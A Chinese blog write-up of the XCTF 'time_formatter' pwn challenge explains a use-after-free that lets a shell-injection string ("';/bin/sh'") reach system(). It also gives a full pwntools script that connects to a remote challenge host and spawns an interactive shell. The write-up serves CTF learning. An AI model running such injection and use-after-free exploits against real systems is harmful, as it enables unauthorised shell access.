攻防世界堆溢出UAF_time_formatter

知识点1

在linux shell中,假如有如下语句,这就是shell注入方面
echo “;ls;cat 1.txt;/bin/sh;”
则 ls 、cat 1.txt 、/bin/sh 这三个命令就会一次执行,这也是本题突破的关键

知识点2

C语言或C++申请内存后,用free 或 delete 释放堆后,指针的值还在,如果不手动设置为
NULL,就可以被我们利用。

堆内存的分配有规律,看如下代码:

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
#include<stdlib.h>
int main(){
for (int i=1;i<=100;i++) {
char *c = (char *)malloc(i);
printf("0x%x\n",(long)c);
free(c);
printf("0x%x\n",(long)c);
}
return 0;
}

我们在Ubuntu上用gcc编译后运行此代码,输出的地址全部一样,这说明,当前一个堆释放
后,新创建的堆的地址就是前一个堆的地址。

那么,我们来看题
①选项5退出时,释放了内存,但是并没有将指针设置为NULL,因此指针仍指向原来的那个地址
1.png
②选项4,有system,这里判断ptr是否为空,于是我们在退出时,选择不退出,这样我们释放了
第一个堆,然后我们在选项3中输入注入语句,创建的堆的地址就是第一个堆的地址,然后我们在
选项3中输入注入语句,创建的堆的地址就是第一个堆的地址,也就是Ptr的内容,最后再选择
4,执行getshell。这就是UAF(use after free)漏洞,通过UAF漏洞使得set_time_zone分配
得到的是set_format释放掉的内存。
2.png
这样,格式化字符串后的command就是
/bin/date -d @ “;/bin/sh”

于是我们的脚本就这样写

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
#sh = process('./pwnh9')
sh = remote('111.198.29.45',57042)
sh.sendlineafter('>','1')
sh.sendline('test')
sh.sendlineafter('>','5')
sh.sendlineafter('Are you sure you want to exit (y/N)?','N')
sh.sendlineafter('>','3')
sh.sendlineafter('Time zone:',"';/bin/sh'")
sh.sendlineafter('>','4')
sh.interactive()

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!